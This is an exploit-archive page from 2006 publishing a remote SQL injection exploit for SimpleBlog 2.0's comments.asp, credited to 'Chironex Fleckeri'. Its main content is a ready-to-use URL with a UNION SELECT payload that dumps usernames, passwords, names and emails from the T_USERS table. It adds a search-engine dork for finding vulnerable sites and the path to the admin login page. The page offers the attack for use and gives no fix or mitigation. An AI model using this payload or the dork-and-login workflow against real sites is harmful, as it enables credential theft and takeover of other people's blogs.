[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SimpleBlog <= 2.0 (comments.asp) Remote SQL Injection Vulnerability
# Published : 2006-08-20
# Author : Chironex Fleckeri
# Previous Title : SportsPHool <= 1.0 (mainnav) Remote File Include Vulnerability
# Next Title : Shadows Rising RPG <= 0.0.5b Remote File Include Vulnerabilities
################################################################################
## ##
## SimpleBlog 2.0 <= "comments.asp" SQL Injection Exploit ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## Credit by | Chironex Fleckeri ##
## Mail | ChironeX.FleckeriX@Gmail.Com ##
## Googledork | Powered By SimpleBlog 2.0 ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## ##
################################################################################
############################################################################################################################################################
#Usage : http://www.target.com/path/comments.asp?id=-1 UNION SELECT ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null FROM T_USERS WHERE id=1 #
############################################################################################################################################################
###########################################################
#Admin Panel : http://www.target.com/path/admin/login.asp #
###########################################################
# www.Syue.com [2006-08-20]